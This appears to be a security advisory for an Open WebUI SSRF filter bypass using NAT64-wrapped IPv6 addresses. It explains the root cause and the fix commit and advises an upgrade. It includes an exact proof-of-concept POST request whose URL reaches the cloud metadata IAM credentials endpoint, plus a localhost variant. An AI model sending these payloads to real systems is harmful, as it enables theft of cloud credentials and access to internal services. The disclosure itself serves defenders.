CVE-2026-70485: Open WebUI NAT64-Encoded SSRF Filter Bypass
Any authenticated Open WebUI user on a NAT64-capable network can wrap a private or cloud-metadata IPv4 address inside a NAT64 IPv6 prefix to bypass the server's SSRF filter and read internal service…

The problem
Open WebUI fetches user-supplied URLs for RAG ingestion, URL-to-markdown conversion, and web search. Its SSRF guard calls Python's ipaddress.ip_address(ip).is_global on the literal address supplied.
The NAT64 well-known prefix 64:ff9b::/96 is globally routable by design, so is_global returns True even when the embedded IPv4 address is 169.254.169.254 or 127.0.0.1. On any deployment whose network provides NAT64 translation (IPv6-only or dual-stack Kubernetes and cloud environments), the packet reaches the private IPv4 destination and the full response body is returned to the caller.
No admin role is needed, only a valid authenticated session.
Proof of concept
A working proof-of-concept for CVE-2026-70485 in open-webui, with the exact payload below.
POST /api/v1/retrieval/process/web HTTP/1.1
Host: <open-webui>
Authorization: Bearer <user_token>
Content-Type: application/json
{
"url": "http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/",
"collection_name": "x"
}
# 169.254.169.254 in hex: a9fe:a9fe
# Also works:
# http://[64:ff9b::7f00:1]/admin/internal-status (127.0.0.1)
#
# Blocked by the old filter (returns 400):
# http://169.254.169.254/... -> 400
# http://[::ffff:169.254.169.254]/... -> 400
#
# After the fix, both NAT64 forms also return 400.
# Public NAT64 (8.8.8.8) still works: http://[64:ff9b::808:808]/The root cause is that validate_url(), _ssrf_safe_new_conn(), and _SSRFSafeResolver in backend/open_webui/retrieval/web/utils.py all called ipaddress.ip_address(ip).is_global on the raw address. Python's predicate answers whether an IPv6 address is in globally routable space.
The NAT64 well-known prefix 64:ff9b::/96 is globally routable, so the check passes even though the embedded IPv4 payload is a private or link-local address.
The fix in commit 1717b493d unwraps the IPv4 address embedded inside every standardized IPv6 transition encoding (NAT64, 6to4, Teredo, IPv4-compatible, IPv4-mapped) before calling is_global, and applies this unwrapping at all three checkpoints. A NAT64-wrapped public address like 64:ff9b::808:808 (8.8.8.8) still passes, confirming no over-blocking.
CWE-918.
The fix
Upgrade to open-webui 0.11.0. The fix is in commit 1717b493d83c86afa82aa8bc50139250852dd2f3. No configuration change is required. Deployments on pure IPv4 networks without a NAT64 gateway are not reachable via this vector but should still upgrade.
Reported by tonghuaroot.
Related research
- high · 7.7CVE-2026-70479CVE-2026-70479: open-webui SSRF via Unvalidated Sub-Resource Requests in Playwright Web Loader
- high · 8CVE-2026-59224CVE-2026-59224: open-webui Terminal Proxy Authentication Bypass via session_id Query Injection
- high · 7.7CVE-2026-59216CVE-2026-59216: Open WebUI Cross-User Code Execution via Unvalidated Socket.IO session_id
- high · 7.1CVE-2026-59714CVE-2026-59714: open-webui Cross-Channel Message Overwrite via Chat Completion API